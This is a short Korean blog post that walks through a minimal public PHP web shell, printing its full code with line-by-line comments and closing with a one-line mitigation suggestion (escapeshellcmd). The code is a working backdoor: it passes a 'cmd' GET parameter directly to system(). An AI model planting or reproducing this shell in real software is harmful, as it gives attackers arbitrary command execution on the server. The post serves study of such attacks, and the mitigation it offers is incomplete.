[webshell] 웹셸의 기본 코드 분석 easy-simple-php-webshell.php

janequeen·2024년 10월 29일

자료

easy-simple-php-webshell.php 깃헙 자료입니다.
https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

웹셸 기본 코드 분석

//easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
//GET 메서드를 통해 서버로 데이터를 전송합니다.
//밑에서 $_GET['cmd'] cmd라는 입력 필드를 통해 서버에 명령어를 전달할 수 있습니다.
//<?php echo basename($_SERVER['PHP_SELF']); ?>는 현재 파일 이름을 반환합니다.
//이를 통해 폼의 이름을 현재 파일명으로 설정하는데, 이는 큰 의미는 없으며 가독성을 높이는 정도입니다.
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
//cmd라는 이름의 텍스트 입력 필드를 통해 명령어를 입력받습니다.
<input type="SUBMIT" value="Execute">
//Execute 버튼을 눌러 명령어를 전송하게 됩니다.
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    //$_GET['cmd']로 전달된 명령어가 설정되어 있으면
    {
        system($_GET['cmd'] . ' 2>&1');
        //system() 함수는 입력받은 명령어를 서버에서 직접 실행하는 함수
        //system() 함수를 사용해 명령어를 실행합니다.
        //2>&1는 표준 오류 출력을 표준 출력으로 리다이렉션하여 오류 메시지도 볼 수 있게 해줍니다.

    }
?>
</pre>
</body>
</html>

대응방안 기본

PHP의 escapeshellcmd() 함수를 사용하여 명령어를 이스케이프한다.

0개의 댓글